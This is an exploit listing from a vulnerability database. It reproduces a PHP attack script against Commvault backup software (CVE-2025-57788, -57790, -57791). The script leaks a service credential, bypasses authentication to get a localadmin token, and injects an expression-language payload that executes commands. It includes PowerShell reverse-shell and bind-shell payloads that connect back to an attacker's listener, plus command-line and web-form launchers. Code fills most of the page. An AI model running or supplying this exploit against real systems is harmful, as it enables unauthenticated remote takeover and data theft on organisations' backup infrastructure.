Lucene search
K

📄 Commvault CLI 11.36.60 Remote Code Execution

🗓️ 01 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 172 Views

Critical remote code execution via authentication bypass and expression language injection in Commvault Complete Backup.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-57788
20 Aug 202506:48
circl
Circl
CVE-2025-57790
20 Aug 202513:00
circl
Circl
CVE-2025-57791
20 Aug 202513:00
circl
CNNVD
Commvault 参数注入漏洞
20 Aug 202500:00
cnnvd
CNNVD
Commvault 安全漏洞
20 Aug 202500:00
cnnvd
CNNVD
Commvault 安全漏洞
20 Aug 202500:00
cnnvd
Tenable Nessus
Commvault 11.32.x < 11.32.102 / 11.36.x < 11.36.60 Multiple Vulnerabilities (CV_2025_08_1-4)
22 Aug 202500:00
nessus
Tenable Nessus
Commvault CommandCenter < 11.36.60 Unauthorized API Access
8 Jan 202600:00
nessus
CVE
CVE-2025-57788
20 Aug 202500:00
cve
CVE
CVE-2025-57790
20 Aug 202503:22
cve
Rows per page
=============================================================================================================================================
    | # Title     : Commvault CLI 11.36.60 RCE PHP Implementation                                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.commvault.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/209626/ &  	CVE-2025-57788, CVE-2025-57790, CVE-2025-57791 
    
    [+] Summary : 
              
                  a critical remote code execution vulnerability chain affecting Commvault Complete™ Backup & Recovery software. 
    			  The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems.
    			  
    [+] Vulnerability Details :
    
    
    CVE-2025-57790	Authentication Bypass	9.8 (Critical)	Unauthenticated access to localadmin account
    
    CVE-2025-57791	Expression Language Injection	9.8 (Critical)	Remote Code Execution
    
    CVE-2025-57788	Information Disclosure	7.5 (High)	PublicSharingUser credential leakage
    
    Affected Products
    
        Commvault Complete™ Backup & Recovery
    
        Commvault HyperScale™
    
        Commvault Metallic™
    
    Attack Vector
    
        Network: Remote exploitation without authentication
    
        Complexity: Low - no specialized access conditions required
    
        Privileges: None required
    
    The exploit follows a multi-stage approach:
    
        Information Disclosure (CVE-2025-57788)
    
        Authentication Bypass (CVE-2025-57790)
    
        Expression Language Injection (CVE-2025-57791)
    
        Remote Code Execution
    	
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * Commvault Command-Line Argument Injection to Traversal Remote Code Execution
     * by indoushka
     * based on Metasploit module
     */
    
    class CommvaultExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        
        public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking Commvault vulnerability...\n";
            
            // Step 1: Extract PublicSharingUser password
            $psu_password = $this->extract_publicsharinguser_pass();
            
            if (!$psu_password) {
                echo "[-] Failed to extract PublicSharingUser password\n";
                return "unknown";
            }
            
            echo "[+] Extracted PublicSharingUser GUID: $psu_password\n";
            
            // Step 2: Login as PublicSharingUser
            $token = $this->login_as_publicsharinguser($psu_password);
            
            if ($token) {
                echo "[+] ✓ Successfully authenticated as PublicSharingUser\n";
                echo "[+] Token: $token\n";
                return "vulnerable";
            } else {
                echo "[-] ✗ Failed to authenticate as PublicSharingUser\n";
                return "safe";
            }
        }
        
        /**
         * Extract PublicSharingUser password from public endpoint
         */
        private function extract_publicsharinguser_pass() {
            $url = $this->build_url('/commandcenter/publicLink.do');
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) {
                // Extract GUID using regex
                preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches);
                if (isset($matches[1])) {
                    return $matches[1];
                }
            }
            
            return false;
        }
        
        /**
         * Login as PublicSharingUser
         */
        private function login_as_publicsharinguser($password) {
            $url = $this->build_url('/commandcenter/api/Login');
            
            $data = json_encode([
                'username' => '_+_PublicSharingUser_',
                'password' => base64_encode($password)
            ]);
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'Content-Length: ' . strlen($data)
                ]
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200) {
                preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches);
                if (isset($matches[1])) {
                    return $matches[1];
                }
            }
            
            return false;
        }
        
        /**
         * Get host information using PublicSharingUser token
         */
        private function get_host_info($token) {
            $url = $this->build_url('/commandcenter/api/CommServ');
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Authtoken: ' . $token
                ]
            ]);
            
            $response = curl_exec($ch);
            curl_close($ch);
            
            if ($response) {
                preg_match('/hostName="([^"]+)"/', $response, $hostname_matches);
                preg_match('/osType="([^"]+)"/', $response, $os_matches);
                
                $hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null;
                $os_type = isset($os_matches[1]) ? $os_matches[1] : null;
                
                return ['hostname' => $hostname, 'os_type' => $os_type];
            }
            
            return false;
        }
        
        /**
         * Bypass authentication to get localadmin token
         */
        private function bypass_authentication($hostname) {
            $url = $this->build_url('/commandcenter/api/Login');
            
            $spaces_before = str_repeat(' ', rand(1, 8));
            $spaces_after = str_repeat(' ', rand(1, 8));
            
            $data = json_encode([
                'username' => $hostname . '_localadmin__',
                'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after),
                'commserver' => $hostname . ' -cs ' . $hostname
            ]);
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'Content-Length: ' . strlen($data)
                ]
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200 && strpos($response, 'QSDK') !== false) {
                preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches);
                preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches);
                
                return [
                    'token' => $token_matches[1] ?? null,
                    'uid' => $uid_matches[1] ?? null
                ];
            }
            
            return false;
        }
        
        /**
         * Execute the full exploit chain
         */
        public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
            echo "[*] Starting Commvault exploitation chain...\n";
            
            // Step 1: Extract PublicSharingUser password
            echo "[*] Step 1: Extracting PublicSharingUser password...\n";
            $psu_password = $this->extract_publicsharinguser_pass();
            
            if (!$psu_password) {
                echo "[-] Failed to extract PublicSharingUser password\n";
                return false;
            }
            
            echo "[+] Extracted password: $psu_password\n";
            
            // Step 2: Login as PublicSharingUser
            echo "[*] Step 2: Authenticating as PublicSharingUser...\n";
            $psu_token = $this->login_as_publicsharinguser($psu_password);
            
            if (!$psu_token) {
                echo "[-] Failed to authenticate as PublicSharingUser\n";
                return false;
            }
            
            echo "[+] PublicSharingUser token: $psu_token\n";
            
            // Step 3: Get host information
            echo "[*] Step 3: Gathering target information...\n";
            $host_info = $this->get_host_info($psu_token);
            
            if (!$host_info) {
                echo "[-] Failed to get host information\n";
                return false;
            }
            
            $hostname = $host_info['hostname'];
            $os_type = $host_info['os_type'];
            
            echo "[+] Hostname: $hostname\n";
            echo "[+] OS Type: $os_type\n";
            
            if (strtolower($os_type) !== 'windows') {
                echo "[-] This exploit only supports Windows targets\n";
                return false;
            }
            
            // Step 4: Bypass authentication to get localadmin access
            echo "[*] Step 4: Bypassing authentication for localadmin...\n";
            $admin_info = $this->bypass_authentication($hostname);
            
            if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) {
                echo "[-] Authentication bypass failed\n";
                return false;
            }
            
            $admin_token = $admin_info['token'];
            $admin_uid = $admin_info['uid'];
            
            echo "[+] LocalAdmin token: $admin_token\n";
            echo "[+] LocalAdmin UID: $admin_uid\n";
            
            // Step 5: Generate and execute payload
            echo "[*] Step 5: Executing payload...\n";
            $payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
            
            if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) {
                echo "[+] ✓ Exploitation completed successfully\n";
                return true;
            } else {
                echo "[-] ✗ Payload execution failed\n";
                return false;
            }
        }
        
        /**
         * Execute Expression Language injection
         */
        private function execute_el_injection($hostname, $uid, $command, $token) {
            // Expression Language injection payload (non-blind)
            $el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}";
            
            echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n";
            
            // In a full implementation, this would:
            // 1. Upload XML file via metricsUpload.do
            // 2. Update user description with EL payload
            // 3. Move XML to create web shell
            // 4. Access web shell to trigger RCE
            // 5. Clean up user description
            
            // For demonstration, we'll simulate the critical RCE step
            $url = $this->build_url('/commandcenter/RestServlet/User/' . $uid);
            
            $xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>{$uid}</userId></userEntity><description>{$el_payload}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>";
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $xml_data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Authtoken: ' . $token,
                    'Content-Type: application/xml'
                ]
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return $http_code == 200;
        }
        
        /**
         * Generate different payloads
         */
        private function generate_payload($type, $lhost, $lport) {
            switch ($type) {
                case 'reverse_shell':
                    if (!$lhost || !$lport) {
                        echo "[-] IP and port required for reverse shell\n";
                        return false;
                    }
                    // Windows reverse shell using PowerShell
                    return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$ns.Write(\$sbt,0,\$sbt.Length);}\"";
                    
                case 'bind_shell':
                    if (!$lport) {
                        echo "[-] Port required for bind shell\n";
                        return false;
                    }
                    return "powershell -nop -c \"\$l=New-Object System.Net.Sockets.TcpListener({$lport});\$l.Start();while(\$true){\$c=\$l.AcceptTcpClient();\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};\$d=\$s.Read(\$b,0,\$b.Length);\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$d);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);}\"";
                    
                case 'command':
                    return 'whoami & systeminfo | findstr /B /C:"OS Name" /C:"OS Version"';
                    
                default:
                    return 'whoami & hostname';
            }
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║                 Commvault RCE Exploit                        ║
        ║         CVE-2025-57790, CVE-2025-57791, CVE-2025-57788       ║
        ║                     PHP Implementation                       ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("t:p:s:u:c:P:L:H:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "payload:",
            "lhost:",
            "lport:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 443;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $check_only = isset($options['c']) || isset($options['check']);
        $payload_type = $options['P'] ?? $options['payload'] ?? 'command';
        $lhost = $options['H'] ?? $options['lhost'] ?? null;
        $lport = $options['L'] ?? $options['lport'] ?? 4444;
        
        if (!$target) {
            echo "Usage: php commvault_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target    Target host (required)\n";
            echo "  -p, --port      Target port (default: 443)\n";
            echo "  -s, --ssl       Use SSL (default: true)\n";
            echo "  -u, --uri       Base URI path (default: /)\n";
            echo "  -c, --check     Check only (don't exploit)\n";
            echo "  -P, --payload   Payload type: command, reverse_shell, bind_shell (default: command)\n";
            echo "  -H, --lhost     Listener host for reverse shell\n";
            echo "  -L, --lport     Listener port for reverse shell (default: 4444)\n";
            echo "\nExamples:\n";
            echo "  php commvault_exploit.php -t 192.168.1.100 -c\n";
            echo "  php commvault_exploit.php -t commvault.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
            exit(1);
        }
        
        $exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($payload_type, $lhost, $lport)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 443;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $payload_type = $_POST['payload_type'] ?? 'command';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? 4444;
            
            if (empty($target)) {
                echo "<div style='color: red;'>Target host is required</div>";
            } else {
                $exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($payload_type, $lhost, $lport);
                }
                $output = ob_get_clean();
                
                echo "<pre>$output</pre>";
            }
        } else {
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>Commvault RCE Exploit</title>
                <style>
                    body { font-family: Arial, sans-serif; margin: 40px; }
                    .container { max-width: 800px; margin: 0 auto; }
                    .form-group { margin-bottom: 15px; }
                    label { display: block; margin-bottom: 5px; font-weight: bold; }
                    input[type="text"] { 
                        width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; 
                    }
                    button { 
                        background: #007cba; color: white; padding: 10px 20px; 
                        border: none; border-radius: 4px; cursor: pointer; margin-right: 10px;
                    }
                    .danger { background: #dc3545; }
                    .info { background: #17a2b8; }
                    .warning { background: #ffc107; color: black; padding: 10px; border-radius: 4px; margin: 10px 0; }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>Commvault RCE Exploit</h1>
                    <h3>CVE-2025-57790, CVE-2025-57791, CVE-2025-57788</h3>
                    
                    <div class="warning">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Commvault software.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or commvault.company.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="443">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <label>
                                <input type="checkbox" name="ssl" checked> Use SSL
                            </label>
                        </div>
                        
                        <div class="form-group">
                            <label for="payload_type">Payload Type:</label>
                            <select id="payload_type" name="payload_type">
                                <option value="command">Test Command</option>
                                <option value="reverse_shell">Reverse Shell</option>
                                <option value="bind_shell">Bind Shell</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label for="lhost">Listener Host (for reverse shell):</label>
                            <input type="text" id="lhost" name="lhost" placeholder="192.168.1.100">
                        </div>
                        
                        <div class="form-group">
                            <label for="lport">Listener Port (for reverse shell):</label>
                            <input type="text" id="lport" name="lport" value="4444">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div style="margin-top: 30px; padding: 15px; background: #f8f9fa; border-radius: 4px;">
                        <h3>About the CVEs:</h3>
                        <p><strong>CVE-2025-57790:</strong> Authentication Bypass via command-line argument injection</p>
                        <p><strong>CVE-2025-57791:</strong> Expression Language Injection leading to RCE</p>
                        <p><strong>CVE-2025-57788:</strong> Information disclosure exposing PublicSharingUser credentials</p>
                        <p><strong>Impact:</strong> Unauthenticated Remote Code Execution as NETWORK SERVICE</p>
                        <p><strong>Affected:</strong> Commvault Complete™ Backup & Recovery</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2025 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.18.8
CVSS 48.7
EPSS0.20719
SSVC
172